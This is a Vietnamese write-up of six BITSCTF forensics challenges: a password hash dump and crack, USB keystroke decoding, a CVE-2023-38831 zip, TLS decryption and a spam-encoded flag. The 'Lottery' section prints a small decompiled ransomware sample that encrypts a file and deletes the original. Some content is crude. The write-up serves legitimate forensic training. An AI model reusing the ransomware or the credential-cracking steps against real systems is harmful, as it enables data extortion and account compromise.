{%hackmd @themes/dracula %} # DFIR | Category | Challenge Name | Difficulty | | -------- | ----------------------------| ---------- | | Forensics| Access Granted! | Easy | | Forensics| I'm wired in | Easy | | Forensics| 0.69 Day | Easy | | Forensics| Lottery | Medium | | Forensics| MogamBro's guilty pleasure | Easy | | Forensics| Bypassing Transport Layer | Medium | ## Access Granted! ![image](https://hackmd.io/_uploads/Bywy37n2T.png) #### Solution : Đề có đề cập đến là password được dùng ở bất kỳ nơi đâu => sử dụng plugin hashdump để xem password ![image](https://hackmd.io/_uploads/Sy3b6X33a.png) => `MogamBro 1000 aad3b435b51404eeaad3b435b51404ee 8a320467c7c22e321c3173e757194bb3` + Dùng [tool online](https://crackstation.net/) để crack mã hash kia : ![image](https://hackmd.io/_uploads/B1oUamhh6.png) => Pass : `adolfhitlerrulesallthepeople` #### Flag : `BITSCTF{adolfhitlerrulesallthepeople}` ## I'm wired in ![image](https://hackmd.io/_uploads/Bk1p67nnp.png) #### Solution : + Theo mô tả của đề bài thì có vẻ nó đang đề cập đến USB HID Keyboard. + Theo path : `/c/Users/Mogambo/Desktop/` mình tìm được 1 file pcap `keylog.pcapng` có đề cập đến USBPcap ![image](https://hackmd.io/_uploads/rkRpfEhh6.png) => Mình phân tích 1 lúc thì đúng là có HID USB của Keyboard ![image](https://hackmd.io/_uploads/B1MlEEnna.png) => Viết kịch bản để extract những giá trị ấy ra và decode : ``` #!/usr/bin/env python import sys import os DataFileName = "usb.dat" presses = [] normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} def main(): # check argv if len(sys.argv) != 2: print("Usage : ") print("$python3 UsbKeyboard.py data.pcap") exit(1) # get argv pcapFilePath = sys.argv[1] # get data of pcap os.system("tshark -r %s -T fields -e usbhid.data 'usb.data_len == 8' > %s" % (pcapFilePath, DataFileName)) # read data with open(DataFileName, "r") as f: for line in f: presses.append(line[0:-1]) # handle result = "" for press in presses: if press == '': continue if ':' in press: Bytes = press.split(":") else: Bytes = [press[i:i+2] for i in range(0, len(press), 2)] if Bytes[0] == "00": if Bytes[2] != "00" and normalKeys.get(Bytes[2]): result += normalKeys[Bytes[2]] elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed. if Bytes[2] != "00" and normalKeys.get(Bytes[2]): result += shiftKeys[Bytes[2]] else: print("[-] Unknow Key : %s" % (Bytes[0])) print("[+] Found : %s" % (result)) # clean the temp data os.system("rm ./%s" % (DataFileName)) if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/rJuTV433p.png) #### Flag : `BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}` ## 0.69 Day ![image](https://hackmd.io/_uploads/rkqMIN3na.png) #### Solution : + Đọc theo mô tả đề bài thì có điểm nghi ngờ ở đây là `Sure he faced the consequences through those spam mails` + Dựa vào đó mình tìm được 2 file thư rác ở path `/C/Users/MogamBro/Documents/Outlook/` ![image](https://hackmd.io/_uploads/BJ7ZvNhhp.png) + Mở file lên đọc thì mình nội dung khá trùng khớp với tên đề bài đấy chứ :vv ![image](https://hackmd.io/_uploads/rJrvP43nT.png) => Tiếp theo mình đi phân tích 2 file được đính kèm nằm ở path `/C/Users/MogamBro/Downloads/`. + Phân tích file zip trước, extract file ra mình nhận được 1 file bat và 1 file step.pdf thì nó chẳng có gì đặc biệt. ![image](https://hackmd.io/_uploads/Syp0KVnn6.png) + Đến đây hơi bí 1 lúc nhưng phải đi osint 1 chút về nó rồi. + Mình sợt gu gồ về các lệnh mà kẻ tấn công đã thực hiện trong file bat thì nhận ra nó chính là cve-2023-38831 theo đường [link này](https://whitehat.vn/threads/tao-malware-don-gian-voi-cve-2023-38831.17474/). + Kết quả cuối thì cve này là build file zip có CVE 2023-38831. => check zip bằng virus total thì ta sẽ thấy đúng là CVE 2023-38831 : ![image](https://hackmd.io/_uploads/rJHZtN2nT.png) #### Flag : `BISTCTF{CVE-2023-38831}` ## Lottery ![image](https://hackmd.io/_uploads/rkCq9Nh2a.png) #### Solution : + Từ challenge trước thì ở spam mail có tệp đính kèm file PE lottery => đi phân tích file này 1 chút. + Dùng detect it easy để xem nó được viết bằng ngôn ngữ gì và cấu trúc tổng quát. ![image](https://hackmd.io/_uploads/HkTJ3V33a.png) => Nhận thấy nó có packer được viết bằng python + Dùng pyinstxtractor.py để lấy pyc sau đó dùng uncompyle6 decompile nó. ![image](https://hackmd.io/_uploads/BkM32VnnT.png) ![image](https://hackmd.io/_uploads/rJ6QpVn3p.png) + Đến đây phân tích code nó 1 chút : ``` import os, tempfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad def generate_key(): key = os.urandom(32) fp = tempfile.TemporaryFile(mode='w+b', delete=False) fp.write(key) return return key def encrypt_file(file_path, key): iv = b'urfuckedmogambro' with open(file_path, 'rb') as (file): data = file.read() padded_data = pad(data, AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = cipher.encrypt(padded_data) file.close() encrypted_file_path = file_path + '.enc' with open(encrypted_file_path, 'wb') as (encrypted_file): encrypted_file.write(encrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() file_path = 'secret.png' encrypt_file(file_path, key) print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!') ``` + Đoạn code để cập đến việc đang sử dụng mã hóa AES-CBC để mã hóa file_path tên là `secret.png` thành file_path + `.enc` + Với key là 32 bytes được lấy từ file nào đó ở folder temp + Và IV là `urfuckedmogambro` tương ứng với 16 bytes + Dựa vào key là 32 bytes và iv 16 bytes thì đây là mã hóa AES-CBC-256. + Đến đây thì mình đi tìm key và file đã bị mã hóa. + Theo path `/C/Users/MogamBro/Downloads/` mình tìm được file `secret.png.enc` + Cuối cùng là còn key thì theo như mình đã phân tích ở trên thì key được lấy từ 1 file nào đó ở thư mục tạm thời với 32 bytes. + Theo path `/C/Users/MogamBro/AppData/Local/Temp/` mình tìm được 1 file `tmpd1tif_2a` có đúng 32 bytes. => rất đáng nghi ngờ. + Mình lấy 32 bytes đó làm key để đi decrypt ``` Key : FBF60E95C2F3C96F36E1195538E34E30CF1A290F1C14CD5E699E476A3BE2BC5E IV : 75726675636b65646d6f67616d62726f Data : secret.png.enc ``` C1 : dùng cyberchef để decrypt ![image](https://hackmd.io/_uploads/ry_LGr32a.png) C2 : code ``` from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import binascii key = "FBF60E95C2F3C96F36E1195538E34E30CF1A290F1C14CD5E699E476A3BE2BC5E" iv = "75726675636b65646d6f67616d62726f" with open('secret.png.enc', 'rb') as file: encrypted_data = file.read() key_bytes = binascii.unhexlify(key) iv_bytes = binascii.unhexlify(iv) cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) with open('qr.png', 'wb') as f: f.write(decrypted_data) ``` ![image](https://hackmd.io/_uploads/SJ3ArSn3p.png) #### Flag : `BITSCTF{1_r3c3ived_7h3_b0mbz}` ## MogamBro's guilty pleasure ![image](https://hackmd.io/_uploads/HkGGLBnnp.png) #### Solution : + Đề bài lại đề cập đến những emails bị spam. Mà trong challenge `0.69 Day` mình có tìm thấy 2 email bị spam trong folder outlook nhưng chỉ mới phân tích mỗi email `YOU WON A LOTTERY!.eml` còn 1 email nữa là `50% Discount available on the Mimikyu plushie.eml` + Mở file lên xem thì mình nhận thấy ko có gì bất thường : ![image](https://hackmd.io/_uploads/HJHyPrn26.png) + Đối với những dạng bào spam email như này thì mình đã từng gặp qua và có tool online để decode thư rác : + https://www.spammimic.com/decode.shtml ![image](https://hackmd.io/_uploads/S1x5PB3ha.png) #### Flag : `BITSCTF{sp4m_2_ph1sh_U}` ## Bypassing Transport Layer ![image](https://hackmd.io/_uploads/H1CAPr3ha.png) #### Solution : Dựa vào tên thử thách, có vẻ như cuối cùng mình phải phân tích tệp pcap được đưa ra trong Nhiệm vụ 1. Phân tích lịch sử powershell trong hình ảnh AD1, bạn có thể thấy rằng một chuỗi lệnh thiết lập các biến môi trường để ghi lại các khóa SSL/TLS, sau đó nó nắm bắt lưu lượng mạng và lưu dữ liệu vào tệp pcap do tác giả cung cấp. Nhớ rằng mình vừa có một tệp khóa được trích xuất từ thư mục Desktop, mình có thể sử dụng nó cho thử thách này để giải mã các gói TLS. ![image](https://hackmd.io/_uploads/rk25dS3hp.png) ![image](https://hackmd.io/_uploads/S123OBhn6.png) Sử dụng Wireshark, mình đã nhập tệp khóa vào tệp pcap để tiết lộ các gói không được mã hóa. Bạn có thể thực hiện việc này bằng cách Edit > Preference > Protocols > TLS > Browse key fileWireshark sẽ hiển thị các gói không được mã hóa. ![image](https://hackmd.io/_uploads/ryZDFH2ha.png) Nhìn qua pcap, mình nhận thấy một số gói HTTP2 dường như là hình ảnh, GIF và các tệp khác. Vì vậy, mình đã xuất dữ liệu HTTP2 và phát hiện ra đó chỉ là hình ảnh khiêu dâm và một số tệp văn bản khác (bruh 18+). ![image](https://hackmd.io/_uploads/ryZ3FSn2T.png) Tuy nhiên, mình biết lá cờ ở đâu đó ở đây. Vì vậy, mình grep xâu chuỗi cờ và nó đã hoạt động. ![image](https://hackmd.io/_uploads/r1qk9r2np.png) #### Flag : `BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}`